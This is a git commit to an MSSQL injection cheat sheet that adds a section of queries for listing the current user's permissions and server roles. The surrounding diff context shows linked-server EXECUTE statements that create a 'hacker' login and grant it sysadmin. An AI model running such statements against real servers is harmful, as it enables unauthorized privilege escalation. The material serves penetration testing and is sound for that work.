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MSSQL: list permissions

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Alexandre ZANNI 2022-04-18 17:21:26 +02:00 committed by GitHub
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SQL Injection/MSSQL Injection.md
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@ -23,6 +23,7 @@
* [MSSQL UNC path](#mssql-unc-path)
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
* [MSSQL Trusted Links](#mssql-trusted-links)
* [MSSQL List permissions](#mssql-list-permissions)
## MSSQL Comments
@ -297,6 +298,33 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '')
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## List permissions
Listing effective permissions of current user on the server.
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```
Listing effective permissions of current user on the database.
```sql
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
```
Listing effective permissions of current user on a view.
```
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
```
Check if current user is a member of the specified server role.
```sql
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
```
## References
* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
@ -306,3 +334,5 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
* [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)
* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)